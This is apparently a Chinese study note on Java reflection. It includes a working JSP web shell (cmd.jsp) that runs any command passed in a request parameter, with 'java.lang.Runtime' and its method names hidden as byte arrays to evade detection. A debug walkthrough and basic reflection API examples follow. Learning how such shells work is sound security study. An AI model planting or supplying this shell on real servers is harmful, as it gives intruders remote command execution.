新建maven项目 + tomcat
pom.xml引入servlet
javax.servlet
javax.servlet-api
4.0.1
cmd.jsp
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.InputStream" %><%--
Created by IntelliJ IDEA.
User: 19401
Date: 2022/1/12
Time: 17:13
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class> c = null;
try {
c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj2 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
%>
能正常执行:
设置断点,开启debug,浏览器访问地址传参
可以看到str参数值已经变成 whoami
且rt的值变成 java.lang.Runtime
继续往下走,第22行通过forName()方法来获取到了该class对象
继续,下面第24行是通过反射获取类中方法getMethod的方式获取到 getRuntime() 方法
然后第27行是获取Runtime类的 exec() 方法
getMethod()方法
只能返回一个特定的方法,第一个参数为方法名称,第二个为方法的参数对应Class的对象
第29行, 反射通过invoke调用Runtime.getRuntime().exec(xxx)方法
命令执行完毕了
下面是通过getInputStream()使得页面回显的部分
成功输出到页面
结束
import java.util.Arrays;
public class TestByte {
public static void main (String[] args) throws java.lang.Exception
{
//String字符串转byte数组
String nSndString="java.lang.Runtime.";
byte[] tBytes=nSndString.getBytes("US-ASCII");
System.out.println(Arrays.toString(tBytes));
// byte数组转字符串
String ss = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46});
System.out.println(ss);
}
}
可以无视类方法、变量去访问权限修饰符,并且可以调用任何类的任意方法、访问并修改成员变量值
1.forName()方法
//使用class类中的方法调用类对象,方便,拓展性强,只要有类的名称即可
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
//reflection
// forName()
Class name = Class.forName("java.lang.Runtime");
System.out.println(name);
}
}
2.直接获取
// 直接用.class,简单,但要明确用到类中的静态成员
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
//reflection
// forName()
Class> name = Runtime.class;
System.out.println(name);
}
}
3.使用getCLass()方法
//通过Object类中的getClass()来获取字节码对象。较繁琐,必须明确具体的类,然后创建对象
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
//reflection
Runtime rt = Runtime.getRuntime();
Class> name = rt.getClass();
System.out.println(name);
}
}
4.使用getSystemCLassLoader().loadClass()方法
//与forName()类似,知道类名即可,但是有区别。forName()的静态方法JVM会装载类,并且执行static()中的方法
//而这个不会执行static()中的代码
获取某个Class对象的方法集合
1.getDeclaredMethods()
// 不返回继承的方法
import java.lang.reflect.Method;
public class Test {
public static void main(String[] args) throws ClassNotFoundException {
//reflection
Class> name = Class.forName("java.lang.Runtime");
Method[] ds = name.getDeclaredMethods();
for(Method d:ds)
System.out.println(d);
}
}
2.getMethods()方法
返回某个类中所有的public方法,包括其继承类的public方法
3.getMethod()方法
只能返回一个特定的方法,第一个参数为方法名称,第二个为方法的参数对应CLass的对象
4.getDeclaredMethod()方法
和getMethod类似,只能返回一个特定的方法
1.getDeclaredFields()方法
不能获取父类的声明字段
2.getFields方法
能够获取某个类中的所有public字段,包括父类中的字段
3.getDeclaredField方法
只能获得类中的单个成员变量
4.getField方法
于getFields类似,但是只能获取某个特定的public字段,包括父类中的字段